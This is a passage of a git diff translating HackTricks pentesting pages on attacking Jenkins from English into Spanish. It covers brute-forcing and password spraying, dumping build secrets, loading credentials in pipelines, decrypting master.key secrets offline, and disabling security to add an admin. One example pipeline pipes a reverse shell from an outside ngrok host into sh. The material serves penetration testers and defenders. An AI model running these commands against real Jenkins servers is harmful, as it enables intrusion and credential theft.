mitigation**. It's essential to **brute-force** users since **weak passwords** or **usernames as passwords** may be in use, even **reversed usernames as passwords**. +### Fuerza Bruta +**Jenkins** carece de **política de contraseñas** y **mitigación de fuerza bruta de nombres de usuario**. Es esencial **realizar fuerza bruta** a los usuarios ya que **contraseñas débiles** o **nombres de usuario como contraseñas** pueden estar en uso, incluso **nombres de usuario invertidos como contraseñas**. ``` msf> use auxiliary/scanner/http/jenkins_login ``` - ### Password spraying Use [this python script](https://github.com/gquere/pwn_jenkins/blob/master/password_spraying/jenkins_password_spraying.py) or [this powershell script](https://github.com/chryzsh/JenkinsPasswordSpray). -### IP Whitelisting Bypass +### Bypass de la lista blanca de IP -Many organizations combine **SaaS-based source control management (SCM) systems** such as GitHub or GitLab with an **internal, self-hosted CI** solution like Jenkins or TeamCity. This setup allows CI systems to **receive webhook events from SaaS source control vendors**, primarily for triggering pipeline jobs. +Muchas organizaciones combinan **sistemas de gestión de control de versiones (SCM) basados en SaaS** como GitHub o GitLab con una **solución CI interna y autohospedada** como Jenkins o TeamCity. Esta configuración permite que los sistemas CI **reciban eventos de webhook de los proveedores de control de versiones SaaS**, principalmente para activar trabajos de pipeline. -To achieve this, organizations **whitelist** the **IP ranges** of the **SCM platforms**, permitting them to access the **internal CI system** via **webhooks**. However, it's important to note that **anyone** can create an **account** on GitHub or GitLab and configure it to **trigger a webhook**, potentially sending requests to the **internal CI system**. +Para lograr esto, las organizaciones **agregan a la lista blanca** los **rangos de IP** de las **plataformas SCM**, permitiéndoles acceder al **sistema CI interno** a través de **webhooks**. Sin embargo, es importante tener en cuenta que **cualquiera** puede crear una **cuenta** en GitHub o GitLab y configurarla para **activar un webhook**, enviando potencialmente solicitudes al **sistema CI interno**. Check: [https://www.paloaltonetworks.com/blog/prisma-cloud/repository-webhook-abuse-access-ci-cd-systems-at-scale/](https://www.paloaltonetworks.com/blog/prisma-cloud/repository-webhook-abuse-access-ci-cd-systems-at-scale/) -## Internal Jenkins Abuses +## Abusos internos de Jenkins -In these scenarios we are going to suppose you have a valid account to access Jenkins. +En estos escenarios vamos a suponer que tienes una cuenta válida para acceder a Jenkins. > [!WARNING] -> Depending on the **Authorization** mechanism configured in Jenkins and the permission of the compromised user you **might be able or not to perform the following attacks.** +> Dependiendo del mecanismo de **Autorización** configurado en Jenkins y los permisos del usuario comprometido, **podrías o no** realizar los siguientes ataques. -For more information check the basic information: +Para más información, consulta la información básica: {{#ref}} basic-jenkins-information.md {{#endref}} -### Listing users +### Listando usuarios -If you have accessed Jenkins you can list other registered users in [http://127.0.0.1:8080/asynchPeople/](http://127.0.0.1:8080/asynchPeople/) +Si has accedido a Jenkins, puedes listar otros usuarios registrados en [http://127.0.0.1:8080/asynchPeople/](http://127.0.0.1:8080/asynchPeople/) -### Dumping builds to find cleartext secrets - -Use [this script](https://github.com/gquere/pwn_jenkins/blob/master/dump_builds/jenkins_dump_builds.py) to dump build console outputs and build environment variables to hopefully find cleartext secrets. +### Extracción de builds para encontrar secretos en texto claro +Use [this script](https://github.com/gquere/pwn_jenkins/blob/master/dump_builds/jenkins_dump_builds.py) para extraer las salidas de consola de los builds y las variables de entorno de los builds para encontrar, con suerte, secretos en texto claro. ```bash python3 jenkins_dump_builds.py -u alice -p alice http://127.0.0.1:8080/ -o build_dumps cd build_dumps gitleaks detect --no-git -v ``` +### **Robando Credenciales SSH** -### **Stealing SSH Credentials** - -If the compromised user has **enough privileges to create/modify a new Jenkins node** and SSH credentials are already stored to access other nodes, he could **steal those credentials** by creating/modifying a node and **setting a host that will record the credentials** without verifying the host key: +Si el usuario comprometido tiene **suficientes privilegios para crear/modificar un nuevo nodo de Jenkins** y las credenciales SSH ya están almacenadas para acceder a otros nodos, podría **robar esas credenciales** creando/modificando un nodo y **configurando un host que registrará las credenciales** sin verificar la clave del host: ![](<../../images/image (218).png>) -You will usually find Jenkins ssh credentials in a **global provider** (`/credentials/`), so you can also dump them as you would dump any other secret. More information in the [**Dumping secrets section**](./#dumping-secrets). +Normalmente encontrarás las credenciales ssh de Jenkins en un **proveedor global** (`/credentials/`), así que también puedes volcarlas como lo harías con cualquier otro secreto. Más información en la [**sección de volcado de secretos**](./#dumping-secrets). -### **RCE in Jenkins** +### **RCE en Jenkins** -Getting a **shell in the Jenkins server** gives the attacker the opportunity to leak all the **secrets** and **env variables** and to **exploit other machines** located in the same network or even **gather cloud credentials**. +Obtener un **shell en el servidor de Jenkins** le da al atacante la oportunidad de filtrar todos los **secretos** y **variables de entorno** y de **explotar otras máquinas** ubicadas en la misma red o incluso **reunir credenciales de la nube**. -By default, Jenkins will **run as SYSTEM**. So, compromising it will give the attacker **SYSTEM privileges**. +Por defecto, Jenkins **se ejecutará como SYSTEM**. Por lo tanto, comprometerlo le dará al atacante **privilegios de SYSTEM**. -### **RCE Creating/Modifying a project** +### **RCE Creando/Modificando un proyecto** -Creating/Modifying a project is a way to obtain RCE over the Jenkins server: +Crear/Modificar un proyecto es una forma de obtener RCE sobre el servidor de Jenkins: {{#ref}} jenkins-rce-creating-modifying-project.md {{#endref}} -### **RCE Execute Groovy script** +### **RCE Ejecutar script Groovy** -You can also obtain RCE executing a Groovy script, which might my stealthier than creating a new project: +También puedes obtener RCE ejecutando un script Groovy, que podría ser más sigiloso que crear un nuevo proyecto: {{#ref}} jenkins-rce-with-groovy-script.md {{#endref}} -### RCE Creating/Modifying Pipeline +### RCE Creando/Modificando Pipeline -You can also get **RCE by creating/modifying a pipeline**: +También puedes obtener **RCE creando/modificando un pipeline**: {{#ref}} jenkins-rce-creating-modifying-pipeline.md {{#endref}} -## Pipeline Exploitation +## Explotación de Pipeline -To exploit pipelines you still need to have access to Jenkins. +Para explotar pipelines aún necesitas tener acceso a Jenkins. -### Build Pipelines +### Construir Pipelines -**Pipelines** can also be used as **build mechanism in projects**, in that case it can be configured a **file inside the repository** that will contains the pipeline syntax. By default `/Jenkinsfile` is used: +**Pipelines** también pueden ser utilizados como **mecanismo de construcción en proyectos**, en ese caso se puede configurar un **archivo dentro del repositorio** que contendrá la sintaxis del pipeline. Por defecto se usa `/Jenkinsfile`: ![](<../../images/image (127).png>) -It's also possible to **store pipeline configuration files in other places** (in other repositories for example) with the goal of **separating** the repository **access** and the pipeline access. +También es posible **almacenar archivos de configuración de pipeline en otros lugares** (en otros repositorios, por ejemplo) con el objetivo de **separar** el **acceso** al repositorio y el acceso al pipeline. -If an attacker have **write access over that file** he will be able to **modify** it and **potentially trigger** the pipeline without even having access to Jenkins.\ -It's possible that the attacker will need to **bypass some branch protections** (depending on the platform and the user privileges they could be bypassed or not). +Si un atacante tiene **acceso de escritura sobre ese archivo**, podrá **modificarlo** y **potencialmente activar** el pipeline sin siquiera tener acceso a Jenkins.\ +Es posible que el atacante necesite **eludir algunas protecciones de rama** (dependiendo de la plataforma y los privilegios del usuario, podrían ser eludidas o no). -The most common triggers to execute a custom pipeline are: +Los desencadenantes más comunes para ejecutar un pipeline personalizado son: -- **Pull request** to the main branch (or potentially to other branches) -- **Push to the main branch** (or potentially to other branches) -- **Update the main branch** and wait until it's executed somehow +- **Solicitud de extracción** a la rama principal (o potencialmente a otras ramas) +- **Empujar a la rama principal** (o potencialmente a otras ramas) +- **Actualizar la rama principal** y esperar hasta que se ejecute de alguna manera > [!NOTE] -> If you are an **external user** you shouldn't expect to create a **PR to the main branch** of the repo of **other user/organization** and **trigger the pipeline**... but if it's **bad configured** you could fully **compromise companies just by exploiting this**. +> Si eres un **usuario externo**, no deberías esperar crear un **PR a la rama principal** del repositorio de **otro usuario/organización** y **activar el pipeline**... pero si está **mal configurado**, podrías comprometer completamente a las empresas solo explotando esto. -### Pipeline RCE +### RCE de Pipeline -In the previous RCE section it was already indicated a technique to [**get RCE modifying a pipeline**](./#rce-creating-modifying-pipeline). +En la sección anterior de RCE ya se indicó una técnica para [**obtener RCE modificando un pipeline**](./#rce-creating-modifying-pipeline). -### Checking Env variables - -It's possible to declare **clear text env variables** for the whole pipeline or for specific stages. This env variables **shouldn't contain sensitive info**, but and attacker could always **check all the pipeline** configurations/Jenkinsfiles: +### Comprobando Variables de Entorno +Es posible declarar **variables de entorno en texto claro** para todo el pipeline o para etapas específicas. Estas variables de entorno **no deberían contener información sensible**, pero un atacante siempre podría **revisar todas las configuraciones del pipeline/Jenkinsfiles:** ```bash pipeline { - agent {label 'built-in'} - environment { - GENERIC_ENV_VAR = "Test pipeline ENV variables." - } +agent {label 'built-in'} +environment { +GENERIC_ENV_VAR = "Test pipeline ENV variables." +} - stages { - stage("Build") { - environment { - STAGE_ENV_VAR = "Test stage ENV variables." - } - steps { +stages { +stage("Build") { +environment { +STAGE_ENV_VAR = "Test stage ENV variables." +} +steps { ``` - ### Dumping secrets -For information about how are secrets usually treated by Jenkins check out the basic information: +Para obtener información sobre cómo se tratan generalmente los secretos en Jenkins, consulta la información básica: {{#ref}} basic-jenkins-information.md {{#endref}} -Credentials can be **scoped to global providers** (`/credentials/`) or to **specific projects** (`/job//configure`). Therefore, in order to exfiltrate all of them you need to **compromise at least all the projects** that contains secrets and execute custom/poisoned pipelines. - -There is another problem, in order to get a **secret inside the env** of a pipeline you need to **know the name and type of the secret**. For example, you try lo **load** a **`usernamePassword`** **secret** as a **`string`** **secret** you will get this **error**: +Las credenciales pueden ser **alcanzadas por proveedores globales** (`/credentials/`) o por **proyectos específicos** (`/job//configure`). Por lo tanto, para exfiltrar todos ellos, necesitas **comprometer al menos todos los proyectos** que contienen secretos y ejecutar pipelines personalizados/contaminados. +Hay otro problema, para obtener un **secreto dentro del env** de un pipeline, necesitas **conocer el nombre y tipo del secreto**. Por ejemplo, si intentas **cargar** un **secreto** de **`usernamePassword`** como un **secreto** de **`string`**, obtendrás este **error**: ``` ERROR: Credentials 'flag2' is of type 'Username with password' where 'org.jenkinsci.plugins.plaincredentials.StringCredentials' was expected ``` - -Here you have the way to load some common secret types: - +Aquí tienes la forma de cargar algunos tipos de secretos comunes: ```bash withCredentials([usernamePassword(credentialsId: 'flag2', usernameVariable: 'USERNAME', passwordVariable: 'PASS')]) { - sh ''' - env #Search for USERNAME and PASS - ''' +sh ''' +env #Search for USERNAME and PASS +''' } withCredentials([string(credentialsId: 'flag1', variable: 'SECRET')]) { - sh ''' - env #Search for SECRET - ''' +sh ''' +env #Search for SECRET +''' } withCredentials([usernameColonPassword(credentialsId: 'mylogin', variable: 'USERPASS')]) { - sh ''' - env # Search for USERPASS - ''' +sh ''' +env # Search for USERPASS +''' } # You can also load multiple env variables at once withCredentials([usernamePassword(credentialsId: 'amazon', usernameVariable: 'USERNAME', passwordVariable: 'PASSWORD'), - string(credentialsId: 'slack-url',variable: 'SLACK_URL'),]) { - sh ''' - env - ''' +string(credentialsId: 'slack-url',variable: 'SLACK_URL'),]) { +sh ''' +env +''' } ``` - -At the end of this page you can **find all the credential types**: [https://www.jenkins.io/doc/pipeline/steps/credentials-binding/](https://www.jenkins.io/doc/pipeline/steps/credentials-binding/) +Al final de esta página puedes **encontrar todos los tipos de credenciales**: [https://www.jenkins.io/doc/pipeline/steps/credentials-binding/](https://www.jenkins.io/doc/pipeline/steps/credentials-binding/) > [!WARNING] -> The best way to **dump all the secrets at once** is by **compromising** the **Jenkins** machine (running a reverse shell in the **built-in node** for example) and then **leaking** the **master keys** and the **encrypted secrets** and decrypting them offline.\ -> More on how to do this in the [Nodes & Agents section](./#nodes-and-agents) and in the [Post Exploitation section](./#post-exploitation). +> La mejor manera de **volcar todos los secretos a la vez** es **comprometiendo** la máquina de **Jenkins** (ejecutando un shell inverso en el **nodo incorporado**, por ejemplo) y luego **filtrando** las **claves maestras** y los **secretos encriptados** y desencriptándolos sin conexión.\ +> Más sobre cómo hacer esto en la [sección de Nodos y Agentes](./#nodes-and-agents) y en la [sección de Post Explotación](./#post-exploitation). -### Triggers +### Disparadores -From [the docs](https://www.jenkins.io/doc/book/pipeline/syntax/#triggers): The `triggers` directive defines the **automated ways in which the Pipeline should be re-triggered**. For Pipelines which are integrated with a source such as GitHub or BitBucket, `triggers` may not be necessary as webhooks-based integration will likely already be present. The triggers currently available are `cron`, `pollSCM` and `upstream`. - -Cron example: +De [la documentación](https://www.jenkins.io/doc/book/pipeline/syntax/#triggers): La directiva `triggers` define las **maneras automatizadas en las que el Pipeline debe ser reactivado**. Para Pipelines que están integrados con una fuente como GitHub o BitBucket, `triggers` puede no ser necesario ya que la integración basada en webhooks probablemente ya esté presente. Los disparadores actualmente disponibles son `cron`, `pollSCM` y `upstream`. +Ejemplo de Cron: ```bash triggers { cron('H */4 * * 1-5') } ``` +Revisa **otros ejemplos en la documentación**. -Check **other examples in the docs**. +### Nodos y Agentes -### Nodes & Agents +Una **instancia de Jenkins** puede tener **diferentes agentes corriendo en diferentes máquinas**. Desde la perspectiva de un atacante, el acceso a diferentes máquinas significa **diferentes credenciales de nube potenciales** para robar o **diferente acceso a la red** que podría ser abusado para explotar otras máquinas. -A **Jenkins instance** might have **different agents running in different machines**. From an attacker perspective, access to different machines means **different potential cloud credentials** to steal or **different network access** that could be abuse to exploit other machines. - -For more information check the basic information: +Para más información, consulta la información básica: {{#ref}} basic-jenkins-information.md {{#endref}} -You can enumerate the **configured nodes** in `/computer/`, you will usually find the \*\*`Built-In Node` \*\* (which is the node running Jenkins) and potentially more: +Puedes enumerar los **nodos configurados** en `/computer/`, generalmente encontrarás el **`Built-In Node`** (que es el nodo que ejecuta Jenkins) y potencialmente más: ![](<../../images/image (249).png>) -It is **specially interesting to compromise the Built-In node** because it contains sensitive Jenkins information. - -To indicate you want to **run** the **pipeline** in the **built-in Jenkins node** you can specify inside the pipeline the following config: +Es **especialmente interesante comprometer el nodo incorporado** porque contiene información sensible de Jenkins. +Para indicar que deseas **ejecutar** el **pipeline** en el **nodo incorporado de Jenkins**, puedes especificar dentro del pipeline la siguiente configuración: ```bash pipeline { - agent {label 'built-in'} +agent {label 'built-in'} ``` +### Ejemplo completo -### Complete example - -Pipeline in an specific agent, with a cron trigger, with pipeline and stage env variables, loading 2 variables in a step and sending a reverse shell: - +Pipeline en un agente específico, con un desencadenador cron, con variables de entorno de pipeline y etapa, cargando 2 variables en un paso y enviando un shell inverso: ```bash pipeline { - agent {label 'built-in'} - triggers { cron('H */4 * * 1-5') } - environment { - GENERIC_ENV_VAR = "Test pipeline ENV variables." - } +agent {label 'built-in'} +triggers { cron('H */4 * * 1-5') } +environment { +GENERIC_ENV_VAR = "Test pipeline ENV variables." +} - stages { - stage("Build") { - environment { - STAGE_ENV_VAR = "Test stage ENV variables." - } - steps { - withCredentials([usernamePassword(credentialsId: 'amazon', usernameVariable: 'USERNAME', passwordVariable: 'PASSWORD'), - string(credentialsId: 'slack-url',variable: 'SLACK_URL'),]) { - sh ''' - curl https://reverse-shell.sh/0.tcp.ngrok.io:16287 | sh PASS - ''' - } - } - } +stages { +stage("Build") { +environment { +STAGE_ENV_VAR = "Test stage ENV variables." +} +steps { +withCredentials([usernamePassword(credentialsId: 'amazon', usernameVariable: 'USERNAME', passwordVariable: 'PASSWORD'), +string(credentialsId: 'slack-url',variable: 'SLACK_URL'),]) { +sh ''' +curl https://reverse-shell.sh/0.tcp.ngrok.io:16287 | sh PASS +''' +} +} +} - post { - always { - cleanWs() - } - } +post { +always { +cleanWs() +} +} } ``` - -## Arbitrary File Read to RCE +## Lectura Arbitraria de Archivos a RCE {{#ref}} jenkins-arbitrary-file-read-to-rce-via-remember-me.md @@ -326,19 +306,17 @@ jenkins-rce-creating-modifying-project.md jenkins-rce-creating-modifying-pipeline.md {{#endref}} -## Post Exploitation +## Post Explotación ### Metasploit - ``` msf> post/multi/gather/jenkins_gather ``` - ### Jenkins Secrets -You can list the secrets accessing `/credentials/` if you have enough permissions. Note that this will only list the secrets inside the `credentials.xml` file, but **build configuration files** might also have **more credentials**. +Puedes listar los secretos accediendo a `/credentials/` si tienes suficientes permisos. Ten en cuenta que esto solo listará los secretos dentro del archivo `credentials.xml`, pero **los archivos de configuración de construcción** también pueden tener **más credenciales**. -If you can **see the configuration of each project**, you can also see in there the **names of the credentials (secrets)** being use to access the repository and **other credentials of the project**. +Si puedes **ver la configuración de cada proyecto**, también puedes ver allí los **nombres de las credenciales (secretos)** que se utilizan para acceder al repositorio y **otras credenciales del proyecto**. ![](<../../images/image (180).png>) @@ -350,19 +328,18 @@ jenkins-dumping-secrets-from-groovy.md #### From disk -These files are needed to **decrypt Jenkins secrets**: +Estos archivos son necesarios para **desencriptar los secretos de Jenkins**: - secrets/master.key - secrets/hudson.util.Secret -Such **secrets can usually be found in**: +Tales **secretos generalmente se pueden encontrar en**: - credentials.xml - jobs/.../build.xml - jobs/.../config.xml -Here's a regex to find them: - +Aquí hay una regex para encontrarlos: ```bash # Find the secrets grep -re "^\s*<[a-zA-Z]*>{[a-zA-Z0-9=+/]*}<" @@ -372,11 +349,9 @@ grep -lre "^\s*<[a-zA-Z]*>{[a-zA-Z0-9=+/]*}<" # Secret example credentials.xml: {AQAAABAAAAAwsSbQDNcKIRQMjEMYYJeSIxi2d3MHmsfW3d1Y52KMOmZ9tLYyOzTSvNoTXdvHpx/kkEbRZS9OYoqzGsIFXtg7cw==} ``` - #### Decrypt Jenkins secrets offline -If you have dumped the **needed passwords to decrypt the secrets**, use [**this script**](https://github.com/gquere/pwn_jenkins/blob/master/offline_decryption/jenkins_offline_decrypt.py) **to decrypt those secrets**. - +Si has volcado las **contraseñas necesarias para descifrar los secretos**, utiliza [**este script**](https://github.com/gquere/pwn_jenkins/blob/master/offline_decryption/jenkins_offline_decrypt.py) **para descifrar esos secretos**. ```bash python3 jenkins_offline_decrypt.py master.key hudson.util.Secret cred.xml 06165DF2-C047-4402-8CAB-1C8EC526C115 @@ -384,23 +359,20 @@ python3 jenkins_offline_decrypt.py master.key hudson.util.Secret cred.xml b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABlwAAAAdzc2gtcn NhAAAAAwEAAQAAAYEAt985Hbb8KfIImS6dZlVG6swiotCiIlg/P7aME9PvZNUgg2Iyf2FT ``` - -#### Decrypt Jenkins secrets from Groovy - +#### Desencriptar secretos de Jenkins desde Groovy ```bash println(hudson.util.Secret.decrypt("{...}")) ``` +### Crear un nuevo usuario administrador -### Create new admin user +1. Accede al archivo Jenkins config.xml en `/var/lib/jenkins/config.xml` o `C:\Program Files (x86)\Jenkins\` +2. Busca la palabra `true` y cambia la palabra **`true`** a **`false`**. +1. `sed -i -e 's/truefalsetrue` y **reinicia Jenkins nuevamente**. -1. Access the Jenkins config.xml file in `/var/lib/jenkins/config.xml` or `C:\Program Files (x86)\Jenkis\` -2. Search for the word `true`and change the word \*\*`true` \*\* to **`false`**. - 1. `sed -i -e 's/truefalsetrue` and **restart the Jenkins again**. - -## References +## Referencias - [https://github.com/gquere/pwn_jenkins](https://github.com/gquere/pwn_jenkins) - [https://leonjza.github.io/blog/2015/05/27/jenkins-to-meterpreter---toying-with-powersploit/](https://leonjza.github.io/blog/2015/05/27/jenkins-to-meterpreter---toying-with-powersploit/) @@ -410,7 +382,3 @@ println(hudson.util.Secret.decrypt("{...}")) - [https://medium.com/@Proclus/tryhackme-internal-walk-through-90ec901926d3](https://medium.com/@Proclus/tryhackme-internal-walk-through-90ec901926d3) {{#include ../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-ci-cd/jenkins-security/basic-jenkins-information.md b/src/pentesting-ci-cd/jenkins-security/basic-jenkins-information.md index 6e62a8536..13489bae8 100644 --- a/src/pentesting-ci-cd/jenkins-security/basic-jenkins-information.md +++ b/src/pentesting-ci-cd/jenkins-security/basic-jenkins-information.md @@ -1,87 +1,87 @@ -# Basic Jenkins Information +# Información Básica de Jenkins {{#include ../../banners/hacktricks-training.md}} -## Access +## Acceso -### Username + Password +### Nombre de usuario + Contraseña -The most common way to login in Jenkins if with a username or a password +La forma más común de iniciar sesión en Jenkins es con un nombre de usuario o una contraseña. ### Cookie -If an **authorized cookie gets stolen**, it ca be used to access the session of the user. The cookie is usually called `JSESSIONID.*`. (A user can terminate all his sessions, but he would need to find out first that a cookie was stolen). +Si una **cookie autorizada es robada**, puede ser utilizada para acceder a la sesión del usuario. La cookie generalmente se llama `JSESSIONID.*`. (Un usuario puede terminar todas sus sesiones, pero primero necesitaría averiguar que una cookie fue robada). ### SSO/Plugins -Jenkins can be configured using plugins to be **accessible via third party SSO**. +Jenkins puede ser configurado usando plugins para ser **accesible a través de SSO de terceros**. ### Tokens -**Users can generate tokens** to give access to applications to impersonate them via CLI or REST API. +**Los usuarios pueden generar tokens** para dar acceso a aplicaciones para suplantarlos a través de CLI o REST API. -### SSH Keys +### Claves SSH -This component provides a built-in SSH server for Jenkins. It’s an alternative interface for the [Jenkins CLI](https://www.jenkins.io/doc/book/managing/cli/), and commands can be invoked this way using any SSH client. (From the [docs](https://plugins.jenkins.io/sshd/)) +Este componente proporciona un servidor SSH integrado para Jenkins. Es una interfaz alternativa para el [Jenkins CLI](https://www.jenkins.io/doc/book/managing/cli/), y los comandos pueden ser invocados de esta manera usando cualquier cliente SSH. (De la [documentación](https://plugins.jenkins.io/sshd/)) -## Authorization +## Autorización -In `/configureSecurity` it's possible to **configure the authorization method of Jenkins**. There are several options: +En `/configureSecurity` es posible **configurar el método de autorización de Jenkins**. Hay varias opciones: -- **Anyone can do anything**: Even anonymous access can administrate the server -- **Legacy mode**: Same as Jenkins <1.164. If you have the **"admin" role**, you'll be granted **full control** over the system, and **otherwise** (including **anonymous** users) you'll have **read** access. -- **Logged-in users can do anything**: In this mode, every **logged-in user gets full control** of Jenkins. The only user who won't have full control is **anonymous user**, who only gets **read access**. -- **Matrix-based security**: You can configure **who can do what** in a table. Each **column** represents a **permission**. Each **row** **represents** a **user or a group/role.** This includes a special user '**anonymous**', which represents **unauthenticated users**, as well as '**authenticated**', which represents **all authenticated users**. +- **Cualquiera puede hacer cualquier cosa**: Incluso el acceso anónimo puede administrar el servidor. +- **Modo legado**: Igual que Jenkins <1.164. Si tienes el **rol "admin"**, se te otorgará **control total** sobre el sistema, y **de lo contrario** (incluyendo a los **usuarios anónimos**) tendrás acceso **de lectura**. +- **Los usuarios registrados pueden hacer cualquier cosa**: En este modo, cada **usuario registrado obtiene control total** de Jenkins. El único usuario que no tendrá control total es el **usuario anónimo**, que solo obtiene **acceso de lectura**. +- **Seguridad basada en matriz**: Puedes configurar **quién puede hacer qué** en una tabla. Cada **columna** representa un **permiso**. Cada **fila** **representa** un **usuario o un grupo/rol.** Esto incluye un usuario especial '**anónimo**', que representa a **usuarios no autenticados**, así como '**autenticado**', que representa a **todos los usuarios autenticados**. ![](<../../images/image (149).png>) -- **Project-based Matrix Authorization Strategy:** This mode is an **extension** to "**Matrix-based security**" that allows additional ACL matrix to be **defined for each project separately.** -- **Role-Based Strategy:** Enables defining authorizations using a **role-based strategy**. Manage the roles in `/role-strategy`. +- **Estrategia de Autorización Basada en Proyectos:** Este modo es una **extensión** de "**seguridad basada en matriz**" que permite definir una matriz ACL adicional para ser **definida para cada proyecto por separado.** +- **Estrategia Basada en Roles:** Permite definir autorizaciones usando una **estrategia basada en roles**. Administra los roles en `/role-strategy`. -## **Security Realm** +## **Reino de Seguridad** -In `/configureSecurity` it's possible to **configure the security realm.** By default Jenkins includes support for a few different Security Realms: +En `/configureSecurity` es posible **configurar el reino de seguridad.** Por defecto, Jenkins incluye soporte para algunos reinos de seguridad diferentes: -- **Delegate to servlet container**: For **delegating authentication a servlet container running the Jenkins controller**, such as [Jetty](https://www.eclipse.org/jetty/). -- **Jenkins’ own user database:** Use **Jenkins’s own built-in user data store** for authentication instead of delegating to an external system. This is enabled by default. -- **LDAP**: Delegate all authentication to a configured LDAP server, including both users and groups. -- **Unix user/group database**: **Delegates the authentication to the underlying Unix** OS-level user database on the Jenkins controller. This mode will also allow re-use of Unix groups for authorization. +- **Delegar al contenedor de servlets**: Para **delegar la autenticación a un contenedor de servlets que ejecuta el controlador de Jenkins**, como [Jetty](https://www.eclipse.org/jetty/). +- **Base de datos de usuarios propia de Jenkins:** Usa **la propia base de datos de usuarios integrada de Jenkins** para la autenticación en lugar de delegar a un sistema externo. Esto está habilitado por defecto. +- **LDAP**: Delegar toda la autenticación a un servidor LDAP configurado, incluyendo tanto usuarios como grupos. +- **Base de datos de usuarios/grupos de Unix**: **Delegar la autenticación a la base de datos de usuarios a nivel de OS de Unix** en el controlador de Jenkins. Este modo también permitirá la reutilización de grupos de Unix para autorización. -Plugins can provide additional security realms which may be useful for incorporating Jenkins into existing identity systems, such as: +Los plugins pueden proporcionar reinos de seguridad adicionales que pueden ser útiles para incorporar Jenkins en sistemas de identidad existentes, como: - [Active Directory](https://plugins.jenkins.io/active-directory) -- [GitHub Authentication](https://plugins.jenkins.io/github-oauth) +- [Autenticación de GitHub](https://plugins.jenkins.io/github-oauth) - [Atlassian Crowd 2](https://plugins.jenkins.io/crowd2) -## Jenkins Nodes, Agents & Executors +## Nodos, Agentes y Ejecutores de Jenkins -Definitions from the [docs](https://www.jenkins.io/doc/book/managing/nodes/): +Definiciones de la [documentación](https://www.jenkins.io/doc/book/managing/nodes/): -**Nodes** are the **machines** on which build **agents run**. Jenkins monitors each attached node for disk space, free temp space, free swap, clock time/sync and response time. A node is taken offline if any of these values go outside the configured threshold. +**Nodos** son las **máquinas** en las que se ejecutan los **agentes de construcción**. Jenkins monitorea cada nodo adjunto en cuanto a espacio en disco, espacio temporal libre, intercambio libre, tiempo/sincronización del reloj y tiempo de respuesta. Un nodo se desconecta si alguno de estos valores sale del umbral configurado. -**Agents** **manage** the **task execution** on behalf of the Jenkins controller by **using executors**. An agent can use any operating system that supports Java. Tools required for builds and tests are installed on the node where the agent runs; they can **be installed directly or in a container** (Docker or Kubernetes). Each **agent is effectively a process with its own PID** on the host machine. +**Agentes** **gestionan** la **ejecución de tareas** en nombre del controlador de Jenkins utilizando **ejecutores**. Un agente puede usar cualquier sistema operativo que soporte Java. Las herramientas requeridas para construcciones y pruebas se instalan en el nodo donde se ejecuta el agente; pueden **ser instaladas directamente o en un contenedor** (Docker o Kubernetes). Cada **agente es efectivamente un proceso con su propio PID** en la máquina host. -An **executor** is a **slot for execution of tasks**; effectively, it is **a thread in the agent**. The **number of executors** on a node defines the number of **concurrent tasks** that can be executed on that node at one time. In other words, this determines the **number of concurrent Pipeline `stages`** that can execute on that node at one time. +Un **ejecutor** es un **espacio para la ejecución de tareas**; efectivamente, es **un hilo en el agente**. El **número de ejecutores** en un nodo define el número de **tareas concurrentes** que pueden ser ejecutadas en ese nodo al mismo tiempo. En otras palabras, esto determina el **número de `stages` de Pipeline concurrentes** que pueden ejecutarse en ese nodo al mismo tiempo. -## Jenkins Secrets +## Secretos de Jenkins -### Encryption of Secrets and Credentials +### Cifrado de Secretos y Credenciales -Definition from the [docs](https://www.jenkins.io/doc/developer/security/secrets/#encryption-of-secrets-and-credentials): Jenkins uses **AES to encrypt and protect secrets**, credentials, and their respective encryption keys. These encryption keys are stored in `$JENKINS_HOME/secrets/` along with the master key used to protect said keys. This directory should be configured so that only the operating system user the Jenkins controller is running as has read and write access to this directory (i.e., a `chmod` value of `0700` or using appropriate file attributes). The **master key** (sometimes referred to as a "key encryption key" in cryptojargon) is **stored \_unencrypted**\_ on the Jenkins controller filesystem in **`$JENKINS_HOME/secrets/master.key`** which does not protect against attackers with direct access to that file. Most users and developers will use these encryption keys indirectly via either the [Secret](https://javadoc.jenkins.io/byShortName/Secret) API for encrypting generic secret data or through the credentials API. For the cryptocurious, Jenkins uses AES in cipher block chaining (CBC) mode with PKCS#5 padding and random IVs to encrypt instances of [CryptoConfidentialKey](https://javadoc.jenkins.io/byShortName/CryptoConfidentialKey) which are stored in `$JENKINS_HOME/secrets/` with a filename corresponding to their `CryptoConfidentialKey` id. Common key ids include: +Definición de la [documentación](https://www.jenkins.io/doc/developer/security/secrets/#encryption-of-secrets-and-credentials): Jenkins utiliza **AES para cifrar y proteger secretos**, credenciales y sus respectivas claves de cifrado. Estas claves de cifrado se almacenan en `$JENKINS_HOME/secrets/` junto con la clave maestra utilizada para proteger dichas claves. Este directorio debe ser configurado para que solo el usuario del sistema operativo bajo el cual se ejecuta el controlador de Jenkins tenga acceso de lectura y escritura a este directorio (es decir, un valor de `chmod` de `0700` o usando atributos de archivo apropiados). La **clave maestra** (a veces referida como "clave de cifrado de clave" en jerga criptográfica) se **almacena \_sin cifrar\_** en el sistema de archivos del controlador de Jenkins en **`$JENKINS_HOME/secrets/master.key`** lo que no protege contra atacantes con acceso directo a ese archivo. La mayoría de los usuarios y desarrolladores utilizarán estas claves de cifrado indirectamente a través de la API [Secret](https://javadoc.jenkins.io/byShortName/Secret) para cifrar datos secretos genéricos o a través de la API de credenciales. Para los curiosos sobre criptografía, Jenkins utiliza AES en modo de encadenamiento de bloques de cifrado (CBC) con relleno PKCS#5 y IVs aleatorios para cifrar instancias de [CryptoConfidentialKey](https://javadoc.jenkins.io/byShortName/CryptoConfidentialKey) que se almacenan en `$JENKINS_HOME/secrets/` con un nombre de archivo correspondiente a su id de `CryptoConfidentialKey`. Los ids de clave comunes incluyen: -- `hudson.util.Secret`: used for generic secrets; -- `com.cloudbees.plugins.credentials.SecretBytes.KEY`: used for some credentials types; -- `jenkins.model.Jenkins.crumbSalt`: used by the [CSRF protection mechanism](https://www.jenkins.io/doc/book/managing/security/#cross-site-request-forgery); and +- `hudson.util.Secret`: utilizado para secretos genéricos; +- `com.cloudbees.plugins.credentials.SecretBytes.KEY`: utilizado para algunos tipos de credenciales; +- `jenkins.model.Jenkins.crumbSalt`: utilizado por el [mecanismo de protección CSRF](https://www.jenkins.io/doc/book/managing/security/#cross-site-request-forgery); y -### Credentials Access +### Acceso a Credenciales 